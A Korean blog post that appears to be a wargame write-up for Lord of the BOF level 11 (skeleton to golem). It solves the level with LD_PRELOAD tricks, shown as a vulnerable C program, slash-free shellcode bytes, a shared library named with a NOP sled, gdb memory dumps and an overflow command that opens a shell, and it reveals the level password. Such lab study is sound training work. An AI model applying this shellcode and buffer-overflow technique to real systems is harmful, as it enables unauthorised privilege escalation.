eli_ez3r
eli_ez3r
eli_ez3r
전체 방문자
오늘
어제
  • 분류 전체보기 (202)
    • 0x01 끄적끄적 :) (57)
      • Network (5)
      • Security (14)
      • Reversing (2)
      • Forensic (5)
      • Operation System (10)
      • Development (10)
      • Solution (7)
      • 보안 상식 (3)
    • 0x02 Study :) (127)
      • Pwnable (59)
      • Webhacking (56)
      • Reversing (11)
      • Machine Learning (1)
    • 0x03 ETC :) (16)
      • IT Unpacking (5)
      • IT Information (1)
      • Enjoy (4)
      • Etc (6)
    • Admin :) (0)
      • 0x01 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

  • github.io 블로그 개설

인기 글

태그

  • LEVEL
  • 해커
  • school
  • 메모리
  • 패스워드
  • 암호
  • 문제풀이
  • webhacking.kr
  • pwnable
  • 스쿨
  • web
  • 과정
  • 공격
  • hack
  • 해킹
  • 풀이
  • hakcing
  • 문제
  • overflow
  • hacker
  • password
  • attack
  • 설명
  • LOB
  • buffer
  • 오버플로우
  • write
  • BOF
  • hacking
  • Up

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
eli_ez3r

eli_ez3r

[LOB] Level11: skeleton → golem
0x02 Study :)/Pwnable

[LOB] Level11: skeleton → golem

2018. 8. 2. 15:58


golem

/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // stack destroyer!
    memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}


'\x2f'없는 shell(48byte) = \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff

\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce

\x81

 


buffer의 시작주소부터 EBP주소까지 0으로 초기화하고, RET이후부터 0xbfffffff까지 0으로 초기화 한다.


앞문제에서 심볼릭 링크를 이용한 공격을 막혔음을 의미한다.


 

이럴경우 LD_PRELOAD 환경변수를 이용해야 한다.


 

LD_PRELOAD

프로세스를 실행하는 중에 라이브러리를 로딩할 때, LD_PRELOAD 환경변수가 설정되어 있으면 해당 변수에 지정된 라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있다면 해당 함수를 먼저 호출해 준다. 이러한 특성을 이용하여 후킹도 가능하다.

 

1. LD_PRELOAD 환경 변수 등록

 

tmp.c 라는 파일을 만들고 해당 파일에 NOP코드와 쉘코드로 구성된 파일명으로 컴파일 한다. 이때 -fPIC -shared 옵션을 사용하여 컴파일한다. 쉘코드 안에는 '\x2f'가 있으면 안된다.

그리고 export LD_PRELOAD 명령어로 해당 파일을 등록한다. 이때 파일명을 반드시 절대경로로 지정해야 한다.


-fPIC : Position-Independent Code의 약자이며 .o 파일을 동적라이브러리로 사용하도록 컴파일 하는 옵션

-shared : 공유 라이브러리를 만드는 옵션

[skeleton@localhost tmp]$ gcc -fPIC -shared tmp.c -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[skeleton@localhost tmp]$ export LD_PRELOAD="/home/skeleton/tmp/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"

 

(gdb) x/32x $esp-3000
....
0xbffff4f4:	0xbffff500	0x400075bb	0x40017000	0x00002fb2
0xbffff504:	0x40013868	0xbffff6e4	0x4000380e	0x40014478
0xbffff514:	0x6d6f682f	0x6b732f65	0x74656c65	0x742f6e6f
0xbffff524:	0x902f706d	0x90909090	0x90909090	0x90909090
0xbffff534:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff544:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff554:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff564:	0x90909090	0x90909090	0x90909090	0x90909090
(gdb)
0xbffff574:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff584:	0x90909090	0xeb909090	0xc9315e11	0x6c8032b1
0xbffff594:	0x8001ff0e	0xf67501e9	0xeae805eb	0x32ffffff
0xbffff5a4:	0x306951c1	0x69697430	0x6f6a6330	0x5451e48a
0xbffff5b4:	0xb19ae28a	0x0081ce0c	0x40013868	0x4000220c
0xbffff5c4:	0xbffffaf5	0x00000000	0x00000000	0x00000000


쉘코드가 포함된 LD_PRELOAD 의 주소를 구한다. (0xbffff534 : NOP중간 주소)

 


[skeleton@localhost skeleton]$ ./golem `python -c 'print "A"*44+"\x34\xf5\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4���
bash$ my-pass
euid = 511
cup of coffee
bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)


python -c 'print "A"*44+"\x34\xf5\xff\xbf"'


golem / cup of coffee



 


잘못 된 개념을 서술하였거나, 잘못 풀이된 내용이 있으면 댓글 달아주시면 감사합니다 :)

태클 댓글이나 메일(513.eunice@gmail.com) 환영입니다 !! 😊☺️👍 



저작자표시 비영리 변경금지 (새창열림)
    '0x02 Study :)/Pwnable' 카테고리의 다른 글
    • [LOB] Level13: darkknight → bugbear
    • [LOB] Level12: golem → darkknight
    • [BOF, LOB] Level10: vampire → skeleton
    • [LOB] Level9: troll → vampire
    eli_ez3r
    eli_ez3r

    티스토리툴바